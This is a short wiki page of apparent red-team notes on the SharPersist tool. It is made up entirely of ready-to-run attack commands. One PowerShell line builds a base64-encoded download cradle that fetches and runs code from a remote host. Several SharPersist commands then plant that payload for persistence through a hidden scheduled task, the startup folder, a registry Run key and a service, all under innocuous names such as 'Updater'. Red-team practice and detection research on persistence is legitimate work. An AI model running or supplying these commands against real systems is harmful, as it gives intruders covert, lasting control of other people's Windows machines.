SharpPersist - CraigDonkin/Infrastructure GitHub Wiki

https://github.com/mandiant/SharPersist

  • Create base-64 encoded payload to use for persistence
$str = 'IEX ((new-object net.webclient).downloadstring("<Payload on host>"))'
[System.Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($str))

Windows task scheduler

SharPersist.exe -t schtask -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <base64 payload> " -n "Updater" -m add -o hourly

Startup folder

SharPersist.exe -t startupfolder -c "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -a "-nop -w hidden -enc <payload>" -f "UserEnvSetup" -m add

Registry AutoRun

SharPersist.exe -t reg -c "C:\ProgramData\<payload>.exe" -a "/q /n" -k "hkcurun" -v "Updater" -m add 

Service

SharPersist.exe -t service -c "<path to payload>" -n <service name> -m add
⚠️ **GitHub.com Fallback** ⚠️